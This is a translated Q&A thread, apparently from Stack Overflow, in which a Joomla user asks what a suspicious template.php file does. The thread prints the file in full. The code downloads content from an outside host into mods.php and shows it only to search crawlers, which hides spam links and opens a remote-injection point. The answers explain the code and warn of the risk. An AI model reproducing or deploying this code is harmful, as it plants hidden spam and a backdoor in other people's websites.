有人可以向我解释这个PHP代码在做什么吗?

时间:2014-08-26 23:27:41

标签: php joomla

我正在使用名为Liberty的Joomla模板,我开始在页面上显示这些奇怪的链接。如果我清除了我的网站缓存,则链接消失后才会显示。我终于找到了问题所在。 index.php代码调用了一个名为template.php的包含页面,该页面称为mods.php文件。以下是这些文件的代码。

来自template.php:

<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__) . DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me3.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {    
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>

这是来自我服务器的mods.php的代码,它有我得到的奇怪链接:

<p><a target="_blank" href="https://ro-ro.facebook.com/zebras.ro">zebras magazin haine femei</a> <a target="_blank" href="http://mkhandtaschen.tumblr.com/">michael kors tasche schwarz</a></p>

我从模板开发人员那里下载了一份新的模板副本,而mods.php文件就不同了:

<div class="leader"><p><a target="_blank" title="t shirt bedrucken" href="http://webhostshield.com/bluehost-review/">bluehost 2013 reviews</a></p></div>

我可以按照大部分内容进行操作,但我没有获得psdu.net/me3.php的外部链接。我已经在我的index.php文件中禁用了调用template.php的行,该网站工作正常。这两个文件看起来真的很腥,对我来说没用。我很欣赏来自一个比我更有经验的php编码器的任何输入。谢谢!

2 个答案:

答案 0 :(得分:0)

它检查HTTP_USER_AGENT,它通常包含有关浏览器,操作系统,版本等的信息。如果HTTP_USER_AGENT包含'Googlebot','Yahoo','msnbot'或'Googlebot-Mobile'

,它会回显信用(mods.php显示)

我认为这为mods.php提供了索引页面的任何搜索引擎的附加信息。

答案 1 :(得分:0)

这真的不太好,可以被认为是一个严重的漏洞。

如果有人可以冒充psdu.net(例如DNS欺骗;请注意,没有SSL - 因此不涉及远程方身份验证) - 或者psdu.net落入坏人之手 - 任何PHP有效负载都可以存储在mod中.php文件和&#34;触发&#34;通过访问... / templates // html / mods.php URL。

实际上,这真是太糟糕了!